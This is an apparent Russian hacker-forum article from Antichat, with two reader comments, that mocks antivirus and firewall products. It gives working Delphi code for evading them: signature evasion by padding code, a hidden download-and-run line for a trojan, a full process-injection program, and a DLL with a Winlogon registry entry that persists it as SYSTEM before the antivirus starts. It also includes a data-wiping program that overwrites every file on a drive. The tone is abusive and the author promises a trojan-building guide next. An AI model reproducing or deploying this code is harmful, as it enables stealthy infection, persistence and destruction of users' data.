Монолог о безопасности. Статья предназначена для широкого круга читателей, если не будут понятны врезки с кодом, это не страшно, специально для тех, кому непонятно, под врезками я красными чернилами буду писать объяснения понятными для вас терминами. Сразу хочу оговорится, когда я писал эту статью я не хотел, никого унизить или оскорбить, я не ставил себе задачей уколоть какую либо группу лиц. Всё прочитанное стоит воспринимать как моё особое мнение. Приведу пример у известного сатирика Михаила Задорнова спросили: вам уже столько лет, а вы так молодо выглядите в чём секрет, а он ответил на это: Не надо часто заниматься сексом, и никогда не надо смотреть футбол, в этом секрет моего долголетия. Первой моей реакцией после услышанного, было желание прекратить общение с девушками, и не смотреть футбол. Но через минуту, я понял, что он импотент, и я буду хотеть всех молодых женщин подряд, и смотреть матчи Спартака. Прежде чем подумать или поступить как я, сто раз подумай правильно ли это для тебя лично. На сегодняшний день, существует множество антивирусов, и брандмауэров, которые должны обеспечивать безопасность компьютера. Лучшим брандмауэром который мне доводилось видеть это Agnitum Outpost, самым лучший антивирус,- Антивирус Касперского, остальные антивирусы не могли даже определить некриптованный пинч, а после установки антивируса от Symantec, мне пришлось переустанавливать систему. Просто умиляют тесты, где берут коллекцию прошлогодних вирусов, и троянов, и сканируют их разными антивирусами, потом сообщают результаты сколько процентов каждый антивирус обнаружил. У Касперского он 95%, у некоторых он меньше 50%, разработчики не могут добиться результата в 100%. Зачем вообще тогда это нужно. Троян можно закриптовать криптором, но в этом случае по логике здравого смысла антивирус не сможет определить что именно зашифровано, а то что структура файла изуродована, и программа скрывает что-то не хорошее, так как хорошая программа будет скрывать данные сама своими силами, а не силами пришлёпанной доделки, но это только по логике здравого смысла к которой антивирусы не имеют никакого отношения, в лучшем случае появится сообщение что этот файл подозрителен, пока это так крипторы имеют право на жизнь, и любой человек незнакомый с программированием сможет воровать ваши пароли, и секретную информацию. Предположим кто то написал троян, а он попал в антивирусные базы, писатель троянов, просто добавит в исходный текст строчку типа. Code: i := 0; if i <> 0 then begin i := 534766654; i := 53454; end; Приведена нелепая белеберда, радикально не влияющая на функциональность программы. Можно добавить очень много подобной ереси. Дать команду на обновление, и троян больше не будет определятся. Вывод любой файловый антивирус способен защитить лишь от жительнильницы станции Костомукша-Пассажирская, Касатоновой Игнессы Павловны, ветерана труда, инвалида второй группы, которая решила поиграться с пинчем, и то не всегда. Программист написавший программу сам, сможет изменять сигнатуру, до бесконечности. Людям из антивирусных компаний это прекрасно известно и поэтому они стали говорить об эвристической защите, но это разговор об вещи которая не существует. ЗАПОМНИТЕ РАЗ И НАВСЕГДА ЭВРИСТИЧЕСКОЙ ЗАЩИТЫ НЕ СУЩЕСТВУЕТ В ПРИНЦИПЕ. Я могу предположить что какой нибудь антивирус сможет заругатся на: Code: UrlDownloadToFile(nil, ‘http://site.net/Trojan.exe’, ‘Trojan.exe’, 0, nil); ShellExecute(0, nil, ‘Trojan.exe’, nil, nil, SW_HIDE); Данный код загружает с интернета троян и сразу же запускает его, но данный код может использовать хорошая программа, получается этот антивирус будет вредителем. Но никто не заругается на: Code: UrlDownloadToFile(nil, ‘http://site.net/Trojan.exe’, ‘Trojan.exe’, 0, nil); for i := 0 to 100 do begin Sleep(i); end; ShellExecute(0, nil, ‘Trojan.exe’, nil, nil, SW_HIDE); Данный код загружает с интернета троян и немного погодя сделав нелепую белеберду запускает его. Вывод эвристической защиты не существует, любые разговоры о её существовании, являются следствием некомпетентности человека, или маркетинговым ходом антивирусных компаний. Поговорим об проактивной защите, это действительно хорошая защита которая может определить что какая то программа выполняет нехорошие действия, причём вердикт разрешать это действие или нет должен вынести сам пользователь, на основе тех данных которые предоставляет антивирус, вынести правильное решение сможет не каждый программист, не говоря уже об очаровательной, голубоглазой девятилетней девочке Насти, с белыми волосами в беленьких колготочках, севшей за компьютер поиграть в развивающую игрушечку, поесть эмэмдемсику, мне жутко страшно представить эту картину,- Настя униженная, и оплёванная Касперским, она всего то хотела поиграть в игрушечку, закусывая при этом эмэмдемсиком. А вы когда либо пробовали работать на компьютере где включена проактивная защита, она не даёт нормально работать практически каждую секунду вылетает окошко с вариантами твоего ответа, после того как ты ответил вылетает уведомление, о том что он поступил именно так, после того как окошки исчезли, нужно поторопится у тебя будет всего несколько секунд до появления новых сообщений. Я компилирую в Delphi программу вылетает сообщений двадцать, мол, это какой то инвайдер, но сударь это же делфи а не какой не инвайдер. Открываешь сохранённую на диск интернет страничку, ОСТОРОЖНО ПРИЛОЖЕНИЕ EXPLORER.EXE ЗАПУСКАЕТ БРАУЗЕР С ПАРАМЕТРАМИ. Разработчики антивирусов и брандмауэров бесстыжие бездельники которые в конец обнаглели, они не хотят пырять, они хотят только денег за беспантово выполненную работу. Для меня, и для подавляющего большинства пользователей смысл работы на компьютере заключается в прикладных программах тама Word, firefox, 1C, PhotoShop, мы не хотим заниматься сексом с Касперским, или оутпостом. Возможно кто-то скажет, я потерплю немножко настрою антивирус, и фаервол, зато буду уверен в своей безопасности. Так вот терпилы обломайтесь, следующей моей статьёй будет «0ring троян с использованием VCL в картинках», уровень статьи будет такой что сконфигурировать, и скомпилировать троян сможет даже умственно отсталый ребёнок дошкольного возраста больной аутизмом, и гидрацифалией, у которого вместо рук культи, при всём этом он слепо-глухонемой. А пока я покажу вам другой способ обхода антивирусов и фаерволов с включенной проактивной защитой. Есть код который инжектит полностью свой процесс в новый поток другого процесса, код написан мной на основе серии статей некоего MS-Rem, по всей видимости выходца с WASM.RU. Code: program InjectProcess; {$IMAGEBASE $13140000} uses Windows; function InjectThisExe(Process: dword; EntryPoint: pointer): boolean; var Module, NewModule: pointer; Size, TID: dword; hThread : dword; BytesWritten: dword; begin Result := False; Module := pointer(GetModuleHandle(nil)); Size := PImageOptionalHeader(pointer(integer(Module) + PImageDosHeader(Module)._lfanew + SizeOf(dword) + SizeOf(TImageFileHeader))).SizeOfImage; NewModule := VirtualAllocEx(Process, Module, Size, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE); if NewModule = nil then exit; WriteProcessMemory(Process, NewModule, Module, Size, BytesWritten); hThread := CreateRemoteThread(Process, nil, 0, EntryPoint, NewModule, 0, TID); if hThread <> 0 then Result := True; end; var StartInf: TStartupInfo; ProcInf: TProcessInformation; function Main(dwEntryPoint: Pointer): dword; stdcall; begin LoadLibrary('kernel32.dll'); LoadLibrary('user32.dll'); MessageBox(0, 'Hello World', 'Process Injection', 0); ExitThread(0); end; begin ZeroMemory(@StartInf, SizeOf(TStartupInfo)); CreateProcess(nil, 'notepad.exe', nil, nil, false, 0, nil, nil, StartInf, ProcInf); InjectThisExe(ProcInf.hProcess, @Main); end. Данная программа запускает всеми любимый блокнот, залезает в него расширяя его внутренности и заставляет его выполнить свой код. То есть появляется сообщение Hello World, все думают что это блокнот балуется, но мы то знаем что это наша программа. Если таким образом внедрится в критически важный системный процесс антивирусы, и брандмауэры ничего, не скажут так как действия будут выполнятся компонентом системы, они не смогут рубить сук на котором сидят. Но тут есть одна загвоздка антивирус молчит только тогда процесс уже внедрён, а при попытке внедрения орёт как резанная свинья. Чтобы внедрится незаметно я написал dll,- тигрёнок.dll Code: library Тигрёнок; uses Windows; procedure ExeStartup(); var St: TStartupinfo; Pr: TProcessInformation; begin ZeroMemory(@St, SizeOf(St)); St.cb := SizeOf(St); St.lpDesktop := PChar('winsta0\default'); CreateProcess(nil, 'слонёнок.exe', nil, nil, false, 0, nil, nil, St, Pr); end; exports ExeStartup; begin end. Слонёнок.exe это программа внедряющаяся в другую программу. Внёс изменения в реестр как именно это сделать при включенной проактивной защите я объяснять не буду, исключительно в целях экономии бумаги, и чисто из своих ментальных предрассудков. Это возможно сделать, но если мудаки будут говорить что это невозможно, предположим что эти изменения, с библиотекой, и программой внёс инсталлятор хорошей программы, любезно предоставленный мной. Вот собственно эти изменения: Code: Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\Run] "Asynchronous"=dword:00000001 "Impersonate"=dword:00000000 "DllName"="Тигрёнок.dll" "Startup"="ExeStartup" После изменений, и перезагрузки, в тот момент когда появилось окно входа в систему, начинает пиликать гармошка, и шуметь аккардеон, но очень скоро эти шумы прекращаются, и после входа в систему на рабочем столе уже запущен блокнот, который уже показал окно с надписью Hello World. В диспетчере задач видно что он запущен под пользователем SYSTEM, и у него два потока вместо одного. Антивирусы, и фаерволы бездействуют. Блокнот запустился раньше Касперского, это случилось потому что, Касперский не может загрузится раньше системы, пускай они пишут ОПЕРАЦИОННУЮ СИСТЕМУ КАСПЕРСКОГО. Я человек практически не знающий ассемблера, за три минуты протаранил Касперскому чичи, и погасил ему шнифты, без особой мотивации к этому, а если за это возьмётся человек отлично знающий ассемблер, и будет писать не три минуты, а несколько дней, тогда у них вообще никаких шансов не будет. Вывод проактивная защита не даёт пользователю нормально работать, доставая его параноидально-дебильными вопросами, при этом она обходится за три минуты без напряжения мозга. Разработчики даже не пытались сделать механизм способный отличить отладчик от вируса эта работа ложится на плечи пользователей. Теперь давайте на минуту задумаемся, для чего рядовой пользователь устанавливает антивирусы, и фаерволы, чтобы его драгоценные мптришники, документы ворд, и фотки с голыми девушками, остались целыми, и невредимыми. Они думают что защищены, на самом деле, ни капли защиты они не получили: Code: program Project2; uses Windows, SysUtils; function ApplicationUse(FName:string): boolean; var HFileRes: HFILE; begin Result := false; if not FileExists(fName) then exit; HFileRes := CreateFile(pchar(fName), GENERIC_READ or GENERIC_WRITE, 0, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); Result := (HFileRes = INVALID_HANDLE_VALUE); if not Result then CloseHandle(HFileRes); end; procedure FindFile(Dir: string); var SR: TSearchRec; FindRes: integer; F: TextFile; begin FindRes := FindFirst(Dir + '*.*', faAnyFile, SR); while FindRes = 0 do begin if ((SR.Attr and faDirectory) = faDirectory) and ((SR.Name = '.') or (SR.Name = '..')) then begin FindRes := FindNext(SR); Continue; end; if ((SR.Attr and faDirectory) = faDirectory) then begin FindFile(Dir + SR.Name + '\'); FindRes := FindNext(SR); Continue; end; if not ApplicationUse(Dir + SR.Name) then begin AssignFile(F, Dir + SR.Name); Rewrite(F); Writeln(F, 'sgdhgshshdhdhhhdjjffjj'); Writeln(F, 'sgdhgshshdhdhhhdjjffjj'); Writeln(F, 'sgdhgshshdhdhhhdjjffjj'); Writeln(F, 'sgdhgshshdhdhhhdjjffjj'); Writeln(F, 'sgdhgshshdhdhhhdjjffjj'); CloseFile(F); end; FindRes := FindNext(SR); end; FindClose(SR); end; var F: TextFile; i: integer; begin FindFile('D:\'); while True do begin Randomize; AssignFile(F, 'D:\' + IntToStr(Random(10000000))); Rewrite(F); for i := 0 to 10000 do begin Writeln(F, 'sgdhgshshdhdhhhdjjffjj'); Writeln(F, 'sgdhgshshdhdhhhdjjffjj'); Writeln(F, 'sgdhgshshdhdhhhdjjffjj'); Writeln(F, 'sgdhgshshdhdhhhdjjffjj'); Writeln(F, 'sgdhgshshdhdhhhdjjffjj'); end; CloseFile(F); end; end. Это что ж получается братцы, запуск браузера это опасно, и об этом стоит орать во всю глотку, а когда удаляются данные, это ништяк, в смысле полностью безопасно. Попробуйте представить что сейчас на вашем компьютере запустится эта программа, вы абсолютно не защишены, или антивирус вас защитит. Все антивирусы, и фаерволы мешают нормально работать системе, и приложениям, некоторые программы вообще не запускаются. Это из-за них возникают сбои, и тормозит компьютер. Антивирусы полезны, и способны защитить только во время крупных вирусных эпидемий, в остальное время они вредны. Здесь по идее я должен был описать КАК ЖЕ ПРОЖИТЬ БЕЗ АНТИВИРУСА, но не буду, может как нибудь в следующий раз. Ещё раз повторюсь всё написанное здесь является моим особым мнением. Как использовать полученные сведения, решать только вам. Каждый сам выбирает для себя кое-что. И только вам решать каким будет ваш следующий день. Ballers(Alaget) специально для античат.
Ясно же зачем. Затем, чтобы обезопасить от этих вирусов большую часть пользователей. Когда вирус наберет обороты против него найдут противодейтвие.
рядовому пользователю запретить запуск интернет эксплорера или хоть флэш и картинки на страницу и он сразу начнет орать что его взломали,куда его касперский смотрел и хуле фаервол не робыть ))))